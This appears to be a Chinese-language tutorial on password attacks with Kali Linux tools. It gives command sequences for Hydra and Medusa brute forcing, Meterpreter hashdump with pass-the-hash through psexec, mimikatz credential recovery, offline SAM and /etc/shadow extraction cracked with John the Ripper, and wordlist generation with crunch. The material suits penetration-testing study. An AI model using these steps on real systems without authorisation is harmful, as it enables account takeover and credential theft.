密码攻击
一、密码在线破解
1、Hydra工具:支持几乎所有协议的在线密码破解,如ftp,http,https,mysql…
1)启动Hydra攻击

2)、target页面如下

passwords界面

tuning选项卡

设置任务的编号和超时时间,如果任务太多,服务的响应速率下降,将原来默认的任务编号16修改为2,超时时间改为15,将Exit after first found pair复选框勾上,找到第一匹配时停止攻击
3)、单击start进行攻击
2、medusa工具:通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限,medusa能验证的远程服务:AFP,FTP,HTTP,IMAP…
例如:用medusa暴力破解地址为IP的路由器
medusa -h IP -u admin 密码文件 -M http -e ns -n 80 -F
-h 指定主机
-u 指定用户
-M 指定模块
-e 指定额外的密码检查,ns变量允许我们使用用户名作为密码,并且使用空密码
-n 指定端口号
-F 允许我们在成功找到用户名密码组合之后停止爆破
二、分析密码(通过从目标系统、组织中收集信息来获得一个较小的密码字典)
1、Ettercap工具:用户能够使用Ettercap工具快速地创建伪造的包,从而实现网络适配器到应用软件各种级别的包,绑定监听数据到本地端口
1)修改配置文件
locate etter.conf #定位配置文件位置,ec_uid和ec_gid都设置为0

2)ettercap -G启动ettercap
与之前中间人攻击一样嗅探密码ettercap 8.3.1 中间人攻击
2、使用MSFCONSOLE分析密码(通过search_email_collector模块搜集一个组织相关的各种邮件信息,这些邮件信息有助于构建字典)
msfconsole #使用MSFCONSOLE
search email collector #查询search_email_collector模块
use auxiliary/gather/search_email_collector #切换模块
show options #查看有效选项
set DOMAIN xxx.com #配置DOMAIN选项
set outfile xxx #配置输出文件路径
3、哈希值识别工具Hash Identifier(识别哈希值的加密方式)
hash-identifier
4e44298897ed12cdc10e5302fa781688
输出

三、破解LM Hashes密码
LM hash是使用NTLMv2使用前的唯一可用版本
使用 findmyhash工具破解LM hashes密码,语法格式如下
findmyhash <Encryption> -h hash
Encryption:指定使用的哈希加密类型
-h:指定要破解的LM哈希值
findmyhash MD5 -h hash
当破解LM Hashes太慢
Metasploit的psexec模块绕过Hash值,获取一个活跃的远程会话之后
getid #查看用户的权限信息
background #设置当前用户绕过UAC,当前用户的权限将变成SYSTEM
run post/windows/gather/hashdump #查看目标主机所有用户的哈希密码值
输出用户的哈希密码值后,使用SMB psexec 模块绕过hash值
background #后台执行会话
use exploit/windows/smb/psexec #使用SMB psexec 模块
set RHOST IP #设置远程主机地址
set SMBUser Test #设置SMB用户
set SMBPass xxxx #设置SMB密码(即上面得到的用户对应的哈希密码值)
exploit
四、破解纯文本密码工具mimikatz
目标主机运行veil创建的可执行文件backup.exe,获取一个远程会话之后
getuid #确认目标用户的权限
load mimikatz #加载mimikatz模块
help #查看有效命令
msv #恢复哈希密码
kerberos #获取网络认证协议信息(可以看到哈希加密的原始密码)
wdigest #获取摘要式身份验证信息
livessp #恢复身份验证信息
五、破解操作系统用户密码
1、破解windows用户密码
windows的用户名和密码保存在SAM文件中,在基于NT核的windows的系统中,包括在windows2000及后续版本中,这个文件保存在"C:\Windows\System32\Config"目录下,由于安全原因,操作系统启动后,SAM文件同时被锁定,用户无法打开或复制SAM文件,同时SAM文件还经过加密。
步骤:
只要目标处于运行状态,就可以利用meterpreter和SAM Juicer获取计算机上的散列文件,获取访问系统的物理权限之后,用户就可以启动其他的操作系统,如USB或DVD-ROM设备上的Kali Linux,启动目标计算机进入其他操作系统之后,可以使用Kali的John the Ripper工具来解析该Windows用户密码
fdisk -l #查看当前系统中的硬盘驱动
mkdir /sda1 #创建挂载点
mount /dev/sda1 /sda1/ #挂在/dev/sda1分区
cd /sda1/WINDOWS/system32/config/ #进入SAM文件的位置
samdump2 SAM system >/root/hash.txt #使用samdump2提取SAM文件
/usr/sbin/john /root/hash.txt --format=nt #运行john命令实现密码攻击
2、破解Linux用户密码
和破解win的方法类似,只有一点不同,Linux系统将加密的密码散列包含在一个叫shadow的文件里,文件的绝对路径是/etc/shadow,用John the Ripper破解该文件前,还需要/etc/passwd文件,这和提取Windows密码散列需要system文件和SAM文件是一样的道理。John the Ripper自带了一个功能,可以将shadow文件和passwd文件结合在一起。
unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt #使用unshadow提取密码散列
john --format=crypt --show /tmp/linux_hashes.txt #破解Linux用户密码
六、创建密码字典
Crunch工具
启动:直接在命令行crunch命令
语法格式:crunch [mininum length][maxinum length][character set][options]
常用的选项:
-o 用于指定输出字典文件的位置
-b 指定写入文件的最大字节数,该大小可以指定KB,MG或GB,但必须和-o START选项一起使用
-t 设置使用特殊格式
-l 该选项用于当-t选项指定@、%或^时,用于识别占位符的一些字符
例如创建一个长度最小为3,最大为5,字符集为1234567890,执行命令如下
crunch 3 5 1234567890 -o output.txt